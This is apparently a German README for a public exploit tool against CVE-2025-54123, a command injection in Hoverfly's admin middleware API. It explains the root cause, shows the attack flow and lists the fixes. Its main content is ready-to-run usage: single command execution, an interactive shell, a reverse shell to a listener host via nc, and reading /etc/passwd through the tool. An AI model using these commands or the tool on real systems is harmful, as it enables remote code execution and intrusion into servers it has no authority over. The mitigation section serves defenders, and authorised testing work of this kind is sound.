Exploit für CVE-2025-54123, eine authentifizierte OS-Command-Injection in Hoverflys Middleware-API, mit Funktionen für reine Prüfung, Einzelbefehle, interaktive Shell und Reverse-Shell für autorisierte Sicherheitstests.
Authentifizierte RCE durch OS-Befehlseinschleusung in Hoverfly ≤ 1.11.3
| Eigenschaft | Wert |
|---|---|
| CVE ID | CVE-2025-54123 |
| CVSS Score | 9.8 — Critical |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (OS-Befehlseinschleusung), CWE-20 (Unzureichende Eingabevalidierung) |
| Produkt | Hoverfly — Open-Source-API-Simulationstool |
| Betroffen | Alle Versionen bis einschließlich 1.11.3 |
| Behoben in | 1.12.0 (Patch-Commit) |
| Sicherheitshinweis | GHSA-r4h8-hfp2-ggmf |
Hier finden Sie eine ausführliche Fallstudie und technische Analyse aus White-Box- und Black-Box-Perspektive: https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a
Hoverfly stellt eine RESTful-Admin-API (Standardport 8888) zur Verwaltung von Simulationskonfigurationen bereit. Der Middleware-Verwaltungsendpunkt unter /api/v2/hoverfly/middleware akzeptiert einen JSON-Body mit den Feldern binary und script, die einen externen Middleware-Prozess definieren.
Die Schwachstelle entsteht aus einer Kombination von drei Code-Level-Fehlern:
Unzureichende Eingabevalidierung — middleware.go:93-96: Die Funktion SetBinary() akzeptiert den Parameter binary ohne Validierung oder Bereinigung, was einem Angreifer ermöglicht, beliebige ausführbare Dateien (z. B. bash) anzugeben.
Unsicherer Befehlsausführung — local_middleware.go:14-19: Die Middleware wird über exec.Command() ausgeführt, wobei die vom Angreifer kontrollierten Werte binary und script direkt als Argumente übergeben werden, was eine OS-Befehlseinschleusung ermöglicht.
Sofortige Ausführung während des Tests — hoverfly_service.go:173: Wenn die Middleware über die API gesetzt wird, testet Hoverfly diese sofort, indem es sie ausführt, wodurch der injizierte Befehl bereits zur Konfigurationszeit und nicht erst beim Proxy-Abfangen ausgelöst wird.
Attacker Hoverfly (≤ 1.11.3)
│ │
│─── POST /api/token-auth ──────────────>│ (1) Authenticate
│<── { "token": "eyJ..." } ─────────────│
│ │
│─── PUT /api/v2/hoverfly/middleware ───>│ (2) Inject payload
│ { "binary": "bash", │
│ "script": "<malicious cmd>" } │
│ │
│ ┌──────────────────────────────────┐│
│ │ exec.Command("bash", tmpScript) ││ (3) Immediate execution
│ │ → attacker command runs as ││
│ │ the Hoverfly process user ││
│ └──────────────────────────────────┘│
│ │
│<── Command output in error response ──│ (4) Exfiltrate output
│ │
admin / konfigurierbares Passwort)git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt
Überprüfen Sie Erreichbarkeit und Authentifizierung des Ziels ohne Ausnutzung:
python3 exploit.py -u http://target:8888 -U admin -P <password> -C
Führen Sie einen einzelnen OS-Befehl auf dem Ziel aus:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'
Wechseln Sie in eine persistente Shell-Sitzung:
python3 exploit.py -u http://target:8888 -U admin -P <password> -i
Senden Sie eine Reverse-Shell an Ihren Listener:
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — launch exploit
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444
Leiten Sie den Datenverkehr zur Inspektion durch Burp Suite:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v
| Flag | Beschreibung | Standard |
|---|---|---|
-u, --url | Ziel-Hoverfly-URL | Erforderlich |
-U, --username | Admin-Benutzername | Erforderlich |
-P, --password | Admin-Passwort | Erforderlich |
-c, --command | Auszuführender OS-Befehl | — |
-C, --check | Nur-Prüfmodus (keine Ausnutzung) | false |
-i, --interactive | Interaktive Pseudo-Shell | false |
--revshell | Reverse Shell LHOST:LPORT | — |
--proxy | Route durch 127.0.0.1:8080 | false |
--timeout | Zeitüberschreitung der Anfrage (Sekunden) | 15 |
-v, --verbose | Ausführliche Ausgabe aktivieren | false |
| Maßnahme | Einzelheiten |
|---|---|
| Aktualisierung | Aktualisieren Sie Hoverfly auf v1.12.0 oder höher, bei dem die Set-Middleware-API standardmäßig deaktiviert ist |
| Netzwerksegmentierung | Beschränken Sie den Zugriff auf die Hoverfly-Admin-API (Port 8888) auf vertrauenswürdige Netzwerke |
| Authentifizierung | Verwenden Sie starke, eindeutige Passwörter für die Hoverfly-Admin-API |
| Überwachung | Überwachen Sie auf unerwartete PUT-Anfragen an /api/v2/hoverfly/middleware |
Der Fix in Commit 17e60a9 deaktiviert die Set-Middleware-API standardmäßig. Nachfolgende Änderungen an der Dokumentation (Commit a9d4da7) machen Benutzer auf die Sicherheitsauswirkungen der Offenlegung dieses Endpunkts aufmerksam.